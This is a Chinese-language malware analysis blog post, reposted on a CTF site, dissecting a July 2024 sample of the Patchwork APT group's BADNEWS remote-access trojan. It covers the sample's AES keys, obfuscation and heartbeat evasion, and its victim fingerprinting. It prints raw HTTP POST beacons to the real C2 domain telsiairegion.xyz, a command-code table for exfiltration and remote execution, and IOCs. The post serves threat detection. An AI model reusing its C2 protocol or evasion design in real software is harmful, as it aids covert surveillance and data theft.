APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

APT 2周前 admin
124 0 0
首发地址:先知社区,https://xz.aliyun.com/t/
首发作者:qianlan

一、 前言

上接前文《APT组织Patchwork利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击,多链路样本逆向分析》,此次样本发现于2024年7月针对国内实体的攻击活动,初始载荷经过链路执行最终释放Patchwork组织Windwos主战远控武器BADNEWS。

Patchwork组织长期维护BADNEWS木马,近三年经历了多次迭代,历史曝光样本在通信协议、加解密算法、指令和功能、免杀混淆等模块不时会都有升级。

下图是曝光的11个BADNEWS历史样本加密协议、算法和密钥的迭代,不难看出开发者对于样本的维护还是很上心的。APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

此次24年7月BADNEWS样本开发者在主机和通信特征隐藏、符号去除等免杀及反调试环节做了诸多努力,同时在心跳包的睡眠周期上做了更复杂的变化,增大通讯流量层面的检测难度,相较于2023年5月曝光版本有不小的修改。

二、样本概述

概述与2023年5月曝光样本对比说明。

为了方便读者阅读,放一个目录。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

2.1 基本信息

24年7月样本包含2次释放shellcode过程,初始载荷体积692KB,BADNEWSB本体载荷280kb,相较于历史版本有精简。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。
APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

2.2 功能模块

24年7月样本较以往版本,功能模块有3处小的修改,总体变化不大,删减了键盘记录(指令码3fgbfnjb3),新增了心跳单包立即发送(指令码3gnfm9),cmd命令执行回传结果(指令码frgt45f)。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。样本cmd执行功能模块就有了两种形式,直接回传执行结果,将执行结果存储成文本文件回传文件。

2.3 加解密、混淆模块

样本沿用了历史版本的加密、编码模式,主要是AES-CBC-128、XOR、BASE64三种,以及利用异或、循环右移等方式计算hash做shellcode、字符校验。

以上线数据包UUID为例其加加密过程如下,base64->AES Encrypt->base64,格式化处理后再经过TLS加密传输。APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

AES_KEY:3732386B7042764C74396E636A70356C
AES_IV:394C3878643347356F624C527558666B

关于密钥,相较于以往直接硬编码字符数组的形式,此次样本使用shellcode段中定位的方式获取AES_KEY、AES_IV。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。沿用了以往对WIN API、http协议字段等字符混淆的方式,增强一些静态免杀能力。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。windows API均以函数指针形式调用,降低了反汇编静态代码的可读性。

以cmd命令执行功能为例,对比新老样本在字符、API函数混淆能力提升。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。cmd.exe调用过程中字符和api特征隐藏比对。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

2.4 通讯模块

此次样本修改历史样本中使用三个线程创建同C2服务器通信逻辑,历史版本执行逻辑如图。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。此次样本仅保留了心跳线程,主要功能模块放置于主函数中运行。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。值得注意的是,此次样本在心跳周期做的更丰富,根据服务端状态,产生不同的心跳间隔,这对恶意流量在心跳维度的检测带来一些挑战。

历史版本心跳根据TLS(线程本地存储)的种子生成一个伪随机数,对随机数取模,决定心跳的睡眠时间,时间的范围在1秒到33.767秒之间。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。而此次样本对心跳睡眠周期做了更复杂的逻辑,除了随机数外还会根据服务端不同状态做逻辑判断,产生更多的心跳睡眠周期类型,随机性使得木马的通讯心跳不易被检测到。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

2.5 痕迹清理模块

样本保留了历史版本中痕迹清理的“好习惯”,敏感字符、内存块使用完后都立即释放,这样可能有助于静态、动态的一些免杀,但对于调试者来说算是一件好事,每一次主动内存释放都可能包含关键信息,作者定位AES加密参数就是这么快速定位到的。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

三、样本分析

3.1 初始化

3.1.1 互斥锁和窗口隐藏

载荷投递阶段做持久化创建计划任务周期性执行,在此创建互斥对象,保持程序不重复执行,互斥对象名称“RfmbFv8D”,并对当前控制台程序做做窗口隐藏。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

3.1.2 字符初始化

初始化解密了部分,外链域名、useragent,以及网络通讯等WIN api字符。

telsiairegion.xyz//1WrCVzW4kSDNbNTt//cqWf4vQlofzqFkc7.php
APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

3.2 搜集系统基本信息

样本对受害目标做信息搜集,供后续回传包括uuid、用户名、操作系统版本、本地IP地址、出口IP地址,将信息经过AES-CBC-128加密并格式化,若未搜集到对应目标信息填充NA。

以uedf为键,#**# 间隔值,格式化如下。

%s=%s#**#%s#**#%s#**#%s#**#%s#**#%s
uedf={UUID}#**#{出口IP}#**#{本地IP}#**#{用户名}#**#{操作系统版本}#**#{所属国家名称}
APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

AES-CBC-128算法的key和iv位于shellcode段中明文存储。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。UUID解密示例如图。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。
AES key:3732386B7042764C74396E636A70356C 
aes iv:394C3878643347356F624C527558666B
  • 出口IP地址、所属国家名称

通过尝试访问“https://myexternalip.com/raw”、“https://api.ipify.org?format=csv”、“https://ifconfig.me/ip”获取接入互联网IP出口地址。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。继续尝试访问“https://api.iplocation.net/?cmd=ip-country&ip=",获取所属国家名称

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。
  • 操作系统版本

这里他的判断有些问题,我用win10的机器调试,信息搜集判断的win8。APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

  • UUID

调用api GetSystemFirmwareTable,请求SMBIOS表

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

获取系统SMBIOS UUIDAPT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

调用api GetAdaptersInfo,查看本地计算机的网络适配器详细信息,获取IP地址。

  • 本地IP地址APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

  • 计算机当前用户名。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

样本在完成信息搜集后,会对此前流下的内存痕迹做清理。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

3.3 创建线程函数循环发送心跳包

在完成格式化信息后,样本创建线程循环发送心跳包,并将这些信息作为上线数据包发送。心跳包没有数据接收逻辑,仅用于验证C2是否存活。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

创建线程函数,循环发送心跳包。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。发包函数如下,其中HttpOpenRequestA参数设置了使用tls加密通讯。APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。构造上线通讯数据包tls加密前如下

POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent:Mozilla/5.0
host:telsiairegion.xyz

uedf=Nudc74ukcfLaqw96hZcM05AFx4faIX8GFHLa9FZ9SBldmtuciInnwX0P1mKRIwcwZnCo5k449uWfVMry6m6Ttg==#**#dSHXPP0JYsd3jE+uURPmWw==#**#mAfqN+zWHKNNdklI7Z64ykuRlRGg1S2uurrJ1zjcAZw=#**#y/gR47XQJCL4lD+PCUJKGQ==#**#e4e9oaydCVdHL96FqHLphQ==#**#dSHXPP0JYsd3jE+uURPmWw==

3.4 功能函数

功能函数首先构造数据向C2发送请求包,POST主体格式相较于心跳包上线数据,只有一个键值对, fufokin=UUID(密文),使用UUID标识唯一客户端,加密逻辑一致。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。构造数据包如图。

POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
host:telsiairegion.xyz

fufokin=Nudc74ukcfLaqw96hZcM05AFx4faIX8GFHLa9FZ9SBldmtuciInnwX0P1mKRIwcwZnCo5k449uWfVMry6m6Ttg==

若发送成功,相应包中将包含指令,样本调用API InternetReadFile读取来自C2的指令。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。对指令处理后,获取指令及参数信息,格式为指令 参数2,分解过程如下。

APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

以if..else做逻辑判断执行对应指令,指令功能如下。

指令码 功能概述
3hdfghd1 指定文件读取,回传文件
3gjdfghj6 cmd命令执行,写入文件回传
3gnfm9 心跳包单包发送
3fgjfhg4 指定路径文件信息遍历读取,回传信息
3gnfjhk7 指定远程文件下载、执行,回传状态
3ngjfng5 指定远程文件下载,回传状态
3fghnbj2 屏幕截图,回传图像
frgt45f cmd命令执行,直接回传结果

IOC

C58A7C4BAFFA401C71A1A333ECD0F956
telsiairegion.xyz
/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php

文章内容结束了,此前搞的比较草率,溯源有问题,感谢上次两位师傅的留言。

感谢读者阅读~


原文始发于微信公众号(帅仔回忆录):APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。

版权声明:admin 发表于 2024年9月4日 上午8:51。
转载请注明:APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。 | CTF导航

相关文章